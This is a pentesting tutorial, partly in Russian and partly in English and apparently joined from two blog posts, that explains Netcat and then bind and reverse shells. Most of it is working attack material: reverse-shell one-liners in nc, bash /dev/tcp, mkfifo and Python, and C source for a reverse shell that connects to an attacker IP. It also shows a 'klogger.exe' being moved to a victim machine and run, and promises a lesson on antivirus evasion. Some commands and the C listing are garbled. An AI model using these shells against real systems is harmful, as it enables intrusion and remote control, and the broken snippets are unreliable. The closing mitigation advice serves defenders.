- Что такое Netcat? Bind Shell и Reverse Shell в действии
- Netcat
- Подключение к порту TCP/UDP
- Прослушивание портов TCP/UDP
- Передача файлов с помощью Netcat
- Удаленное администрирование с помощью Netcat
- Сценарий Netcat Bind Shell
- Сценарий Reverse Shell
- Reverse shells
- listener
- run reverse shell (examples)
- create reverse shell in C
- mitigation
Что такое Netcat? Bind Shell и Reverse Shell в действии
В этой статье мы поговорим о том, что такое Netcat и с помощью него реализуем Bind и Reverse Shell соответственно.
Netcat
Netcat, впервые выпущенный в 1995 году (!), является одним из «оригинальных» инструментов тестирования на проникновение в сеть. Netcat настолько универсален, что вполне оправдывает авторское название «швейцарский армейский нож» хакера. Самое четкое определение Netcat дают сами разработчики: «простая утилита, которая считывает и записывает данные через сетевые соединения, используя протоколы TCP или UDP».
Подключение к порту TCP/UDP
Как следует из описания, Netcat может работать как в режиме клиента, так и в режиме сервера. Для начала давайте рассмотрим клиентский режим. Мы можем использовать клиентский режим для подключения к любому порту TCP/UDP, что позволяет нам: Проверить, открыт или закрыт порт или подключиться к сетевой службе.
Давайте начнем с использования Netcat (nc), чтобы проверить, открыт ли порт 80 на тестируемой машине (в качестве тестируемой машины мы будем использовать основную машину на которой установлена ВМ . ).
Мы введем несколько аргументов: опцию -n, чтобы отключить DNS и поиск номеров портов по /etc/services; -v для вывода информации о процессе работы; IP-адрес назначения; и номер порта назначения:
P.S. Чтобы узнать IP-адрес основной машины выполните команду ipconfig в командной строке если у вас основная машина Windows, и ifconfig если у вас Linux или MacOS.
kali@kali:~$ nc -nv 192.168.0.178 80
TCP-соединение с 192.168.0.178 прошло успешно, поэтому Netcat сообщает, что удаленный порт открыт.
Прослушивание портов TCP/UDP
Прослушивание порта TCP/UDP с помощью Netcat полезно для сетевой отладки клиентских приложений или получения сетевого соединения TCP/UDP. Давайте попробуем реализовать простую службу чата с участием двух машин, используя Netcat как в качестве клиента, так и в качестве сервера. На машине Windows с IP-адресом 192.168.0.178 был настроен Netcat на прослушивания входящих соединений на порту TCP 4444. Мы будем использовать опцию -n для отключения DNS, -l для для создания слушателя, опцию -v и -p для указания номера порта прослушивания:
C:\Program Files\nc111nt> nc -nlvp 4444
Теперь давайте подключимся к этому порту с нашей Linux-машины:
kali@kali:~$ nc -nv 192.168.0.178 4444
И напишем что-нибудь. Например «Hello». Наш текст будет отправлен на машину Windows через TCP-порт 4444:
Мы можем продолжить чат с машины Windows:
Хотя этот пример не очень интересен, но он демонстрирует несколько важных возможностей Netcat. Прежде чем продолжить, постарайтесь ответить на такие важные вопросы как: Какая машина выступала в качестве сервера Netcat? Какая машина выступала в роли клиента Netcat? На какой машине был открыт порт 4444? В чем разница в синтаксисе командной строки между клиентом и сервером?
Передача файлов с помощью Netcat
Netcat также можно использовать для передачи файлов, как текстовых, так и бинарных, с одного компьютера на другой. Чтобы отправить файл с нашей виртуальной машины Kali на систему Windows, мы инициируем настройку, похожую на предыдущий пример с чатом, с некоторыми небольшими отличиями. На машине Windows мы установим слушателя Netcat на порт 4444 и перенаправим вывод в файл под названием incoming.exe:
C:\Program Files\nc111nt> nc -nlvp 4444 > incoming.exe
В системе Kali мы передадим файл klogger.exe на машину Windows через TCP-порт 4444:
Обратите внимание, что мы не получили от Netcat никакой обратной связи о ходе загрузки файла. Мы можем просто подождать несколько секунд, а затем проверить, полностью ли загружен файл. Файл был полностью загружен на машину Windows, попытаемся запустить его:
C:\Program Files\nc111nt> incoming.exe -h
Как вы видите передача и запуск файла klogger.exe выполнены успешно! P.S. В одном из уроков я расскажу как сделать так, чтобы антивирус не «детектил» файлы и исполняемые модули. А пока двигаемся дальше.
Удаленное администрирование с помощью Netcat
Одной из самых полезных функций Netcat является возможность перенаправления команд. Версия netcat-traditional (версия Netcat скомпилированная с флагом «-DGAPING_SECURITY_HOLE») включает опцию -e, которая выполняет программу после установления или получения успешного соединения. Эта мощная функция открывала интересные возможности с точки зрения безопасности и поэтому недоступна в большинстве современных систем Linux/BSD. Однако, в связи с тем, что Kali Linux является дистрибутивом для тестирования на проникновение, версия Netcat, включенная в Kali, поддерживает опцию -e. Если эта опция включена, она может перенаправлять входные, выходные данные и сообщения об ошибках исполняемого файла на TCP/UDP порт, а не на консоль по умолчанию. Например, рассмотрим исполняемый файл cmd.exe. Мы можем привязать cmd.exe к локальному порту и перенаправить STDIN, STDOUT и STDERR в сеть. Давайте рассмотрим несколько сценариев:
Сценарий Netcat Bind Shell
В нашем первом сценарии Миша (работающий под управлением Windows) обратился за помощью к Кате (работающей под управлением Linux) и попросил ее подключиться к его компьютеру и отдать некоторые команды удаленно. Миша имеет публичный IP-адрес и напрямую подключен к Интернету. Катя, однако, находится за NAT и имеет внутренний IP-адрес. Мише нужно привязать cmd.exe к порту TCP на его публичном IP-адресе и попросить Катю подключиться к его определенному IP-адресу и порту. Миша запустит Netcat с параметром -e для выполнения cmd.exe:
C:\Program Files\nc111nt> nc -nlvp 4444 -e cmd.exe
Теперь Netcat привязал TCP порт 4444 к cmd.exe и будет перенаправлять любые входные, выходные данные или сообщения об ошибках от cmd.exe в сеть. Другими словами, любой человек, подключающийся к TCP порту 4444 на машине Миши (надеемся, что Катя), будет видеть командную строку Миши. Это действительно «зияющая дыра в безопасности»!
kali@kali:~$ nc -nv 192.168.0.178 4444
Как мы видим, все работает так, как и ожидалось. На следующем изображении показан этот сценарий:
Сценарий Reverse Shell
В нашем втором сценарии Катя нуждается в помощи Миши. В этом сценарии мы можем использовать еще одну полезную функцию Netcat — возможность посылать команды на хост, прослушивающий определенный порт. В этой ситуации, Катя не может (по сценарию) привязать порт 4444 для /bin/bash локально (bind shell) на своем компьютере и ожидать подключения Миши, но она может передать управление своим bash на компьютер Миши. Это называется reverse shell. Чтобы это заработало, Миша сначала настроит Netcat на прослушивание. В нашем примере мы будем использовать порт 4444:
C:\Program Files\nc111nt> nc -nlvp 4444
Теперь Катя может отправить Мише обратный shell (reverse shell) со своей Linux-машины. И снова мы используем опцию -e, чтобы сделать приложение доступным удаленно, которым в данном случае является /bin/bash, оболочка Linux:
kali@kali:~$ nc -nv 192.168.0.178 4444 -e /bin/bash
Как только соединение будет установлено, Netcat Кати перенаправит /bin/bash входные, выходные и данные об ошибках на машину Миши, на порт 4444, и Миша сможет взаимодействовать с этой оболочкой:
На следующем изображении показан сценарий обратного шелла (reverse shell), в котором Миша получает удаленный доступ к командной оболочке на машине Кати, преодолевая корпоративный брандмауэр:
Reverse shells
Reverse shell or often called connect-back shell is remote shell introduced from the target by connecting back to the attacker machine and spawning target shell on the attacker machine. This usually used during exploitation process to gain control of the remote machine.
The reverse shell can take the advantage of common outbound ports such as port 80, 443, 8080 and etc.
The reverse shell usually used when the target victim machine is blocking incoming connection from certain port by firewall. To bypass this firewall restriction, red teamers and pentesters use reverse shells.
But, there is a caveat. This exposes the control server of the attacker and traces might pickup by network security monitoring services of target network.
There are three steps to get a reverse shell.
Firstly, attacker exploit a vulnerability on a target system or network with the ability to perform a code execution.
Then attacker setup listener on his own machine.
Then attacker injecting reverse shell on vulnerable system to exploit the vulnerability.
There is one more caveat. In real cyber attacks, the reverse shell can also be obtained through social engineering, for example, a piece of malware installed on a local workstation via a phishing email or a malicious website might initiate an outgoing connection to a command server and provide hackers with a reverse shell capability.
The purpose of this post is not to exploit a vulnerability in the target host or network, but the idea is to find a vulnerability that can be leverage to perform a code execution.
Depending on which system is installed on the victim and what services are running there, the reverse shell will be different, it may be php, python, jsp etc.
listener
For simplicity, in this example, the victim allow outgoing connection on any port (default iptables firewall rule). In our case we use 4444 as a listener port. You can change it to your preferable port you like. Listener could be any program/utility that can open TCP/UDP connections or sockets. In most cases I like to use nc or netcat utility.
In this case -l listen, -v verbose and -p port 4444 on every interface. You can also add -n for numeric only IP addresses, not DNS.
run reverse shell (examples)
Again for simplicity, in our examples target is a linux machine.
1. netcat
run:
where 10.9.1.6 is your attacker’s machine IP and 4444 is listening port.
2. netcat without -e
Newer linux machine by default has traditional netcat with GAPING_SECURITY_HOLE disabled, it means you don’t have the -e option of netcat.
In this case, in the victim machine run:
mkfifo /tmp/p; nc 0> /tmp/p 2>&1; rm /tmp/p
Here, I’ve first created a named pipe (AKA FIFO) called p using the mkfifo command. The mkfifo command will create things in the file system, and here use it as a “backpipe” that is of type p , which is a named pipe. This FIFO will be used to shuttle data back to our shell’s input. I created my backpipe in /tmp because pretty much any account is allowed to write there.
3. bash
This will not work on old debian-based linux distributions.
run:
bash -c 'sh -i >& /dev/tcp/10.9.1.6/4444 0>&1'
To create a semi-interactive shell using python, run:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
create reverse shell in C
My favorite part. Since I came to cyber security with a programming background, I enjoy doing some things “reinventing the wheel”, it helps to understand some things as I am also learning in my path.
As I wrote earlier, we will write a reverse shell running on Linux (target machine).
#include #include #include #include #include int main () // attacker IP address const char* ip = "10.9.1.6"; // address struct struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(4444); inet_aton(ip, &addr.sin_addr); // socket syscall int sockfd = socket(AF_INET, SOCK_STREAM, 0); // connect syscall connect(sockfd, (struct sockadr *)&addr, sizeof(addr)); for (int i = 0; i 3; i++) // dup2(sockftd, 0) - stdin // dup2(sockfd, 1) - stdout // dup2(sockfd, 2) - stderr dup2(sockfd, i); > // execve syscall execve("/bin/sh", NULL, NULL); return 0; >
If you compile for 32-bit linux run: gcc -o shell -m32 shell.c -w
Let’s go to transfer file to victim’s machine. File transfer is considered to be one of the most important steps involved in post exploitation (as I wrote earlier, we do not consider exploitation step).
We will use the tool that is known as the Swiss knife of the hacker, netcat.
mitigation
Unfortunately, there is no way to completely block reverse shells. Unless you are deliberately using reverse shells for remote administration, any reverse shell connections are likely to be malicious. To limit exploitation, you can lock down outgoing connectivity to allow only specific remote IP addresses and ports for the required services. This might be achieved by sandboxing or running the server in a minimal container.
I hope this post was at least a little useful for entry level cyber security specialists (and possibly even professionals).
Thanks for your time and good bye!
PS. All drawings and screenshots are mine
Updated: September 11, 2021